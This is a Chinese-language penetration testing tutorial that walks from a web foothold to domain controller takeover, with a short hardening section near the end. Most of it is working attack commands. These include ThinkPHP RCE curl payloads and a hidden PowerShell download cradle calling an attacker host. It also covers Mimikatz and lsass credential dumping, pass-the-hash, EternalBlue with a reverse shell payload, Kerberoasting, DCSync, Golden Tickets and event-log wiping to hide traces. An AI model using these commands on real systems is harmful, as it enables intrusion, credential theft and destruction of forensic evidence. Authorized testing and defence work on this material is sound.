1. 内网渗透的本质与核心目标
内网渗透的本质是通过合法授权的方式,模拟攻击者对目标网络内部系统进行安全测试。与常规渗透测试不同,内网渗透更注重横向移动和权限提升的完整链路。在实际项目中,我们通常会获得一个边缘系统的有限权限(如Web服务器),然后以此为跳板逐步深入内网,最终目标是获取域控制器(Domain Controller)的完全控制权。
为什么域控如此重要?在Windows域环境中,域控制器存储着整个网络的所有账户信息、安全策略和信任关系。获得域管理员权限意味着可以:
- 任意创建/删除域内所有计算机和用户账户
- 部署组策略影响所有加入域的终端
- 获取所有域用户的密码哈希用于横向渗透
- 控制企业核心业务系统和数据
典型的渗透路径通常遵循以下阶段:
- 外部信息收集 → 2. Web应用漏洞利用 → 3. 初始立足点获取 → 4. 内网侦察 → 5. 横向移动 → 6. 权限提升 → 7. 域控接管
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Web入侵:获取初始立足点的关键突破口
2.1 常见Web漏洞利用链
从实际案例来看,ThinkPHP框架的漏洞是最常见的突破口。以ThinkPHP 5.0.23的RCE漏洞为例,攻击链如下:
bash复制# 检测漏洞存在
curl -X POST "http://target.com/index.php?s=/index/\think\app/invokefunction" -d "function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1"
# 执行系统命令
curl -X POST "http://target.com/index.php?s=/index/\think\app/invokefunction" -d "function=call_user_func_array&vars[0]=system&vars[1][]=whoami"
成功利用后会返回当前Web服务的执行权限,通常是iis apppool\defaultapppool或www-data这类低权限账户。
2.2 权限维持技术
获取Webshell后,需要立即建立持久化通道:
- 写入隐藏后门:将恶意代码插入
/runtime/temp/等临时目录 - 创建计划任务:通过
schtasks /create设置定时反弹shell - 服务安装:注册新的Windows服务执行恶意载荷
推荐使用Cobalt Strike的powershell-iex方式建立Beacon会话:
powershell复制powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://attacker_ip:80/a'))"
3. 内网侦察:绘制攻击地图
3.1 基础信息收集
powershell复制# 系统信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 网络配置
ipconfig /all
route print
arp -a
# 用户会话
query user
net session
# 共享资源
net view \\localhost
3.2 域环境探测
powershell复制# 检查域成员
net config workstation
# 查询域控制器
nltest /dclist:域名
# 获取域策略
gpresult /h report.html
3.3 密码哈希提取
使用Mimikatz提取内存凭证:
code复制privilege::debug
sekurlsa::logonpasswords
若遇到防护软件拦截,可改用Procdump导出lsass进程内存:
cmd复制procdump.exe -accepteula -ma lsass.exe lsass.dmp
4. 横向移动:突破网络隔离
4.1 基于SMB的渗透
利用获取的密码哈希进行Pass-the-Hash攻击:
bash复制# 使用Impacket工具包
python3 psexec.py 域/用户@目标IP -hashes :NTLM哈希
4.2 利用MS17-010永恒之蓝
针对未打补丁的Windows 7/Server 2008系统:
bash复制use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.0/24
set payload windows/x64/meterpreter/reverse_tcp
exploit
4.3 通过RDP横向
启用受限管理模式进行哈希传递:
bash复制xfreerdp /v:目标IP /u:用户 /pth:NTLM哈希 +compression /cert:ignore
5. 域控攻防:从普通域用户到域管理员
5.1 Kerberoasting攻击
powershell复制# 请求SPN服务票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/dc01.domain.com"
# 导出票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
使用hashcat破解:
bash复制hashcat -m 13100 hashes.txt rockyou.txt
5.2 DCSync攻击
获取域控同步权限后:
powershell复制Invoke-Mimikatz -Command '"lsadump::dcsync /user:域\krbtgt"'
5.3 Golden Ticket制作
powershell复制Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain.com /sid:S-1-5-21-... /krbtgt:哈希 /ptt"'
6. 痕迹清理与防御建议
6.1 渗透方清理策略
powershell复制# 清除事件日志
wevtutil cl system
wevtutil cl security
wevtutil cl application
# 删除临时文件
del /f /q %TEMP%\*.*
6.2 防御加固措施
- 启用LSA保护:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa新建DWORD值RunAsPPL=1 - 限制NTLM使用:组策略→计算机配置→安全设置→本地策略→安全选项→"网络安全:限制NTLM"
- 启用Windows Defender攻击面减少规则
- 定期审计域管理员组成员变更
在实际渗透测试项目中,我曾遇到一个典型案例:通过ThinkPHP漏洞获取Webshell后,发现目标系统安装了多款终端防护软件。通过分析发现这些软件都依赖同一个域账户进行更新,最终通过服务账户提权拿到域管权限。这个案例告诉我们,内网中最薄弱的环节往往是人设计的流程和配置,而非技术漏洞本身。
